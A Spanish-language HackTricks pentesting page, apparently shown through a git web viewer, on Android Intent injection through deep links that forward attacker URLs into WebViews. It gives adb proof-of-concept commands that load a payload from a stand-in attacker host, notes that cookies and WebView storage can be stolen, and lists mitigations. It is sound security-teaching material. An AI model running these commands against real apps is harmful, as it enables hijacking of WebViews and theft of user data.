65 lines
3.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Intent Injection
{{#include ../../banners/hacktricks-training.md}}
La inyección de intentos abusa de componentes que aceptan Intents controlados por el atacante o datos que luego se convierten en Intents. Dos patrones muy comunes durante las pruebas de penetración de aplicaciones Android son:
- Pasar extras elaborados a Activities/Services/BroadcastReceivers exportados que luego se reenvían a componentes privilegiados y no exportados.
- Activar enlaces profundos EXPORTADOS VIEW/BROWSABLE que reenvían URLs controladas por el atacante a WebViews internas u otros sumideros sensibles.
## Enlaces profundos → sumidero WebView (inyección de parámetros URL)
Si una aplicación expone un enlace profundo de esquema personalizado como:
```text
myscheme://com.example.app/web?url=<attacker_url>
```
y la Activity receptora reenvía el parámetro de consulta `url` a un WebView, puedes forzar a la aplicación a renderizar contenido remoto arbitrario en su propio contexto de WebView.
PoC a través de adb:
```bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact
- HTML/JS se ejecuta dentro del perfil WebView de la aplicación.
- Si JavaScript está habilitado (por defecto o debido a verificaciones desordenadas), puedes enumerar/utilizar cualquier objeto expuesto `@JavascriptInterface`, robar cookies/local storage de WebView y pivotar.
Ver también:
{{#ref}}
webview-attacks.md
{{#endref}}
## Error de orden de verificaciones que habilita JavaScript
Un error recurrente es habilitar JavaScript (u otras configuraciones permisivas de WebView) antes de que finalice la lista blanca/verificación de la URL. Si los ayudantes tempranos aceptan tu enlace profundo y el WebView se configura primero, tu carga final ocurre con JavaScript ya habilitado, incluso si las verificaciones posteriores son defectuosas o demasiado tarde.
Qué buscar en el código decompilado:
- Múltiples ayudantes que analizan/dividen/reconstruyen la URL de manera diferente (normalización inconsistente).
- Llamadas a `getSettings().setJavaScriptEnabled(true)` antes de la última verificación de lista blanca de host/ruta.
- Un pipeline como: parsear → validar parcialmente → configurar WebView → verificar final → loadUrl.
Mitigaciones
- Canonizar una vez y validar estrictamente; fallar cerrado.
- Solo habilitar JavaScript después de que todas las verificaciones pasen y justo antes de cargar contenido de confianza.
- Evitar exponer puentes a orígenes no confiables.
## Otras primitivas clásicas de inyección de Intent
- startActivity/sendBroadcast utilizando extras de `Intent` proporcionados por el atacante que luego son reanalizados (`Intent.parseUri(...)`) y ejecutados.
- Componentes proxy exportados que reenvían Intents a componentes sensibles no exportados sin verificaciones de permiso.
## Referencias
- [Android Acceso a componentes protegidos por la aplicación](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
- [Cadena de explotación del Samsung S24 Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Irlanda 2024 Cadena de ataque del Samsung S24 (documento técnico)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Video de demostración](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}